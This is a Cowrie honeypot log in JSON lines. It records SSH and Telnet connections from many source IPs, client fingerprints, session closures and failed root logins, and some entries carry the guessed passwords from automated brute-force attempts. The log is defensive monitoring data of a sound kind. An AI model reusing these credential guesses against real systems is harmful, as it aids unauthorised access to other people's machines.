{"eventid":"cowrie.login.failed","username":"root","password":"romeo","message":"login attempt [root/romeo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:30.476206Z","src_ip":"197.227.14.33","session":"cd5fb9097835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:31.744428Z","src_ip":"197.227.14.33","session":"cd5fb9097835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.80386710166931,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:32.476720Z","src_ip":"192.119.13.58","session":"deee364f39e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.05006551742554,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:32.529314Z","src_ip":"192.119.13.58","session":"5d2ef64ebdb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.69364857673645,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:35.376786Z","src_ip":"192.119.13.58","session":"597bc3312df8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.540791749954224,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:35.813188Z","src_ip":"192.119.13.58","session":"67052939057b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00426769256592,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:39.006773Z","src_ip":"186.195.16.41","session":"2f4b28f75f03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.05294370651245,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:40.421392Z","src_ip":"192.119.13.58","session":"733b9919c2cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":49714,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd6d97587987","protocol":"ssh","message":"New connection: 94.159.98.239:49714 (159.203.135.109:22) [session: fd6d97587987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:41.822978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:41.986200Z","src_ip":"94.159.98.239","session":"fd6d97587987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:41.989980Z","src_ip":"94.159.98.239","session":"fd6d97587987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"228228228","message":"login attempt [root/228228228] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:43.234349Z","src_ip":"94.159.98.239","session":"fd6d97587987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":33164,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ea3a0091c2f","protocol":"ssh","message":"New connection: 170.106.188.200:33164 (159.203.135.109:22) [session: 0ea3a0091c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:43.561531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:43.566579Z","src_ip":"170.106.188.200","session":"0ea3a0091c2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:43.634675Z","src_ip":"170.106.188.200","session":"0ea3a0091c2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elasticsearch","message":"login attempt [root/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:43.939896Z","src_ip":"170.106.188.200","session":"0ea3a0091c2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:45.011543Z","src_ip":"170.106.188.200","session":"0ea3a0091c2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:45.043067Z","src_ip":"94.159.98.239","session":"fd6d97587987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.215961933135986,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:49.833372Z","src_ip":"192.119.13.58","session":"fa982680edcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":52050,"dst_ip":"159.203.135.109","dst_port":22,"session":"857cd432d49b","protocol":"ssh","message":"New connection: 103.101.216.219:52050 (159.203.135.109:22) [session: 857cd432d49b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:50.143923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:50.149012Z","src_ip":"103.101.216.219","session":"857cd432d49b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:50.392559Z","src_ip":"103.101.216.219","session":"857cd432d49b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51346,"dst_ip":"10.17.0.5","dst_port":23,"session":"71cd289b4ea9","protocol":"telnet","message":"New connection: 192.119.13.58:51346 (10.17.0.5:23) [session: 71cd289b4ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:51.159537Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"31415926","message":"login attempt [root/31415926] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:51.400263Z","src_ip":"103.101.216.219","session":"857cd432d49b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:52.645251Z","src_ip":"103.101.216.219","session":"857cd432d49b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.23702073097229,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:57.302674Z","src_ip":"192.119.13.58","session":"4a35b5b0717c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.34957242012024,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:53:59.756033Z","src_ip":"192.119.13.58","session":"2f6447526176","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59120,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc8725975c3b","protocol":"telnet","message":"New connection: 192.119.13.58:59120 (10.17.0.5:23) [session: cc8725975c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:00.499799Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36862,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e637deb75ee","protocol":"telnet","message":"New connection: 192.119.13.58:36862 (10.17.0.5:23) [session: 1e637deb75ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:01.904847Z"}
{"eventid":"cowrie.session.closed","duration":47.98120355606079,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:04.470850Z","src_ip":"192.119.13.58","session":"b020f2c7bb8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33332,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa92af21ea33","protocol":"telnet","message":"New connection: 192.119.13.58:33332 (10.17.0.5:23) [session: fa92af21ea33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:08.171163Z"}
{"eventid":"cowrie.session.closed","duration":41.78301167488098,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:12.089914Z","src_ip":"192.119.13.58","session":"f04521149001","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":59084,"dst_ip":"159.203.135.109","dst_port":22,"session":"149cb5c3177f","protocol":"ssh","message":"New connection: 62.133.63.178:59084 (159.203.135.109:22) [session: 149cb5c3177f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:12.437689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:12.444412Z","src_ip":"62.133.63.178","session":"149cb5c3177f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:12.567996Z","src_ip":"62.133.63.178","session":"149cb5c3177f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"microlab","message":"login attempt [root/microlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:12.942795Z","src_ip":"62.133.63.178","session":"149cb5c3177f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:14.067173Z","src_ip":"62.133.63.178","session":"149cb5c3177f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36332,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fc764b28f58","protocol":"ssh","message":"New connection: 103.176.20.57:36332 (10.17.0.5:22) [session: 2fc764b28f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:25.303093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:25.308054Z","src_ip":"103.176.20.57","session":"2fc764b28f58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:25.561481Z","src_ip":"103.176.20.57","session":"2fc764b28f58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"compaq","message":"login attempt [root/compaq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:26.315126Z","src_ip":"103.176.20.57","session":"2fc764b28f58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":34004,"dst_ip":"159.203.135.109","dst_port":22,"session":"01ef180928e1","protocol":"ssh","message":"New connection: 186.4.240.226:34004 (159.203.135.109:22) [session: 01ef180928e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:26.725015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:26.729710Z","src_ip":"186.4.240.226","session":"01ef180928e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:26.814184Z","src_ip":"186.4.240.226","session":"01ef180928e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@Qwerty","message":"login attempt [root/123456@Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:27.184659Z","src_ip":"186.4.240.226","session":"01ef180928e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:27.564731Z","src_ip":"103.176.20.57","session":"2fc764b28f58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:28.272403Z","src_ip":"186.4.240.226","session":"01ef180928e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":46760,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b72911e9457","protocol":"ssh","message":"New connection: 103.98.149.87:46760 (10.17.0.5:22) [session: 2b72911e9457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:30.649142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:30.717892Z","src_ip":"103.98.149.87","session":"2b72911e9457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:30.878590Z","src_ip":"103.98.149.87","session":"2b72911e9457","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"moloko","message":"login attempt [root/moloko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:32.025535Z","src_ip":"103.98.149.87","session":"2b72911e9457","protocol":"ssh"}
